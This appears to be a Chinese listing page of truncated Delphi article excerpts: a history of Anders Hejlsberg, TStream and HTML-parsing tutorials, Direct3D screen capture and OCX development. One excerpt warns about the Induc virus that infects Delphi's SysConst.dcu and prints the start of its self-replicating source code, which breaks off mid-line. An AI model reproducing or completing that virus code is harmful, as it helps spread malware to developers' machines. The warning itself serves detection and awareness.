Anders Hejlsberg(安德斯-海森博格) 坐在自己的办公室，双眼直直的盯着前方。他要做一个决定，决定自己未来的命运和理想。这是1996年一个普通的下午，几个小时前，他刚与比尔-盖茨结束了一次愉快的午餐，同为软件界的精英，他们相谈甚欢，盖茨给他开出三百万以上的年薪和数万股的微软股票。这是一个诱人的条件，但更重要的是，盖茨许诺他可以有充分的时间和资源投身自己感兴趣的技术方向。
Anders在犹豫，他是否真的要离开已经工作了十三年的Borland。从Turbo Pascal、SideKick再到Delphi，Borland是Anders辉煌的起点，他在这里成为人们敬仰的软件大师，并一手铸就了Borland传奇；在Borland，Anders有太多美好的回忆和未完成的理想。
Anders Hejlsberg
然而，随着1994年Philippe Kahn（Borland公司创始人）的离去，Anders渐渐失去了最强有力的支援；Borland的新任CEO Delbert Yocam希望加强Delphi在IDE市场的王者地位，因为Delphi才是Borland最主要的财务来源；但Anders已经看到Java和虚拟机语言的潜力，与其在已有的产品上徘徊不前，他更想专注于新产品Borland Java（后来的JBuilder）的研发；Borland的� ......
Anders Hejlsberg(安德斯-海森博格) 坐在自己的办公室，双眼直直的盯着前方。他要做一个决定，决定自己未来的命运和理想。这是1996年一个普通的下午，几个小时前，他刚与比尔-盖茨结束了一次愉快的午餐，同为软件界的精英，他们相谈甚欢，盖茨给他开出三百万以上的年薪和数万股的微软股票。这是一个诱人的条件，但更重要的是，盖茨许诺他可以有充分的时间和资源投身自己感兴趣的技术方向。
Anders在犹豫，他是否真的要离开已经工作了十三年的Borland。从Turbo Pascal、SideKick再到Delphi，Borland是Anders辉煌的起点，他在这里成为人们敬仰的软件大师，并一手铸就了Borland传奇；在Borland，Anders有太多美好的回忆和未完成的理想。
Anders Hejlsberg
然而，随着1994年Philippe Kahn（Borland公司创始人）的离去，Anders渐渐失去了最强有力的支援；Borland的新任CEO Delbert Yocam希望加强Delphi在IDE市场的王者地位，因为Delphi才是Borland最主要的财务来源；但Anders已经看到Java和虚拟机语言的潜力，与其在已有的产品上徘徊不前，他更想专注于新产品Borland Java（后来的JBuilder）的研发；Borland的� ......
一、Delphi中流的基本概念及函数声明
在Delphi中，所有流对象的基类为TStream类，其中定义了所有流的共同属性和方法。
TStream类中定义的属性介绍如下：
1、Size:此属性以字节返回流中数据大小。
2、Position:此属性控制流中存取指针的位置。
Tstream中定义的虚方法有四个：
1、Read:此方法实现将数据从流中读出。
函数原形为：Function Read(var Buffer;Count:Longint):Longint;virtual;abstract;
参数Buffer为数据读出时放置的缓冲区，Count为需要读出的数据的字节数，该方法返回值为实际读出的字节数，它可以小于或等于Count中指定的值。
2、Write:此方法实现将数据写入流中。
函数原形为：Function Write(var Buffer;Count:Longint):Longint;virtual;abstract;
参数Buffer为将要写入流中的数据的缓冲区，Count为数据的长度字节数，该方法返回值为实际写入流中的字节数。
3、Seek:此方法实现流中读取指针的移动。
函数原形为：Function Seek(Offset:Longint;Ori ......
最近经常会模拟网页提交返回网页源码，然后获得网页中相应的元素，于是需要常常解析Html中相应的各种元素，网络是个好东西，搜索一番，就找到了
好几个Delphi版本的HtmlParser的类库，试着使用了几个，发现解析起来都不完整，或多或少的回出现一些问题！于是想到了如果界面上有一个浏
览器，我们可以通过WebBrowser的Document接口对网页元素进行操作，很是方便！但是模拟网页提交，界面上是不一定要出现
WebBrowser的，肯定有办法，不通过WebBrowser就直接解析HTML的，那便是我不要WebBrowser这个外壳，只要他里面的
Document文档接口对象就能实现对Html的解析了，查找了一番MSDN，然后Google一下，果然可行，构建方法如下：
//创建
IHTMLDocument2接口
CoCreateInstance(CLASS_HTMLDocument, nil,
CLSCTX_INPROC_SERVER, IID_IHTMLDocument2, FHtmlDoc);
接口创建好了之后就能够对文
档元素进行解析了，很是爽快！
结合了我自己的特有操作，我对Combobox,Table,Frame等一些网页元素做了相应的封装，实现
了一个HTMLParser，大致代码如下：
这里只给出声明，代
码请在最后下载
代码
(*
*************************************************** ......
最近经常会模拟网页提交返回网页源码，然后获得网页中相应的元素，于是需要常常解析Html中相应的各种元素，网络是个好东西，搜索一番，就找到了
好几个Delphi版本的HtmlParser的类库，试着使用了几个，发现解析起来都不完整，或多或少的回出现一些问题！于是想到了如果界面上有一个浏
览器，我们可以通过WebBrowser的Document接口对网页元素进行操作，很是方便！但是模拟网页提交，界面上是不一定要出现
WebBrowser的，肯定有办法，不通过WebBrowser就直接解析HTML的，那便是我不要WebBrowser这个外壳，只要他里面的
Document文档接口对象就能实现对Html的解析了，查找了一番MSDN，然后Google一下，果然可行，构建方法如下：
//创建
IHTMLDocument2接口
CoCreateInstance(CLASS_HTMLDocument, nil,
CLSCTX_INPROC_SERVER, IID_IHTMLDocument2, FHtmlDoc);
接口创建好了之后就能够对文
档元素进行解析了，很是爽快！
结合了我自己的特有操作，我对Combobox,Table,Frame等一些网页元素做了相应的封装，实现
了一个HTMLParser，大致代码如下：
这里只给出声明，代
码请在最后下载
代码
(*
*************************************************** ......
专门针对delphi的，嵌入源码的病毒
如果在 X:\Program Files\Borland\Delphi7\Lib 发现有 SysConst.bak (12KB) 和
SysConst.dcu (18KB)，那么恭喜你，中招了。
http://topic.csdn.net/u/20090817/20/102ba10b-82ae-472d-a0be-6d54ce6a331b.html
http://bbs.2ccc.com/topic.asp?topicid=330829
http://bbs.2ccc.com/topic.asp?topicid=330760
http://www.delphibbs.com/delphibbs/dispq.asp?lid=3972581
好有趣的感染方式,够可爱了~
今天群的人发了一条链接,关于许多人SysConst.dcu被感染.
被感染后的SysConst.dcu体积是18KB左右,正常的SysConst.dcu是12KB左右.
偷偷瞄了一下偶的SysConst.dcu,竟然被感染了,而且潜伏的时间应该超过4个月~
只是前两天卡巴更新病毒库,卡巴报病毒名为:Virus.Win32.Induc.a,大家才发觉有所不妥.
uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',
'= #36 thens:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pc ......
转自：http://www.52delphi.com/List.asp?ID=597&Page=1
核心提示：函数需要 uses Direct3D9,D3DX9; 偶然发现一个函数可以直接保存表面到文件1！所以修改了一下，函数为：...
procedure CaptureScreen(Const FileName: string);
var
BitsPerPixel: Byte;
pD3D: IDirect3D9;
pSurface: IDirect3DSurface9;
g_pD3DDevice: IDirect3DDevice9;
D3DPP: TD3DPresentParameters;
ARect: TRect;
LockedRect: TD3DLockedRect;
BMP: TBitmap;
i, p: Integer;
begin
BitsPerPixel := GetDeviceCaps(Canvas.Handle, BITSPIXEL);
FillChar(d3dpp, SizeOf(d3dpp), 0);
D3DPP.Windowed := True;
D3DPP.Flags := D3DPRESENTFLAG_LOCKABLE_BACKBUFFER;
D3DPP.SwapEffect := D3DSWAPEFFECT_DISCARD;
D3DPP.BackBufferWidth := Screen.Width;
D3DPP.BackBufferHeight := Screen.Height;
D3DPP.BackBufferFormat := D3DFMT_X8R8G8B8;
pD3D := Direct3DCreate9(D3D_SDK_VERSION);
pD3D.CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, GetDesktopWindow,
D3DCREATE_SOFTWARE_VERTEXPROCESSING, @D3DPP, g_pD3DDevice);
g_pD3DDevice.Crea ......
由于项目的需要，近期开始学习用delphi开发一个软电话控件。
以前接触过一些delphi开发方面的东西（当然都是些皮毛啦），但没接触过ocx控件的开发，在此把一些简单的东西记下来，一方面以后自己可以再学习，另一方面希望对刚刚学习delphi开发ocx控件的初学者有所帮助，如果有什么写的不对和写的不好的地方，还请各位多多指正，在此先谢谢了。
关于ocx控件的一些基础知识在这里就不说这么多了，网络上有很多这方面的文章，有兴趣的朋友可以到网上去搜搜！！
Delphi集成开发环境对开发ocx控件提供了很好的支持，只要简单的几步就可以开发出属于自己的ocx控件了，下面是delphi开发ocx的一些简单的步骤：
1、 打开delphi集成开发环境，选择File->new->other，此时弹出一个多页的窗口，选择ActiveX页，选择ActiveX Form,点击OK后，弹出工程属性框，为ActiveX起一个名字，这样一个ocx控件的工程就建立好了
2、 保存工程
这样一个oc ......
最新文章 : delphi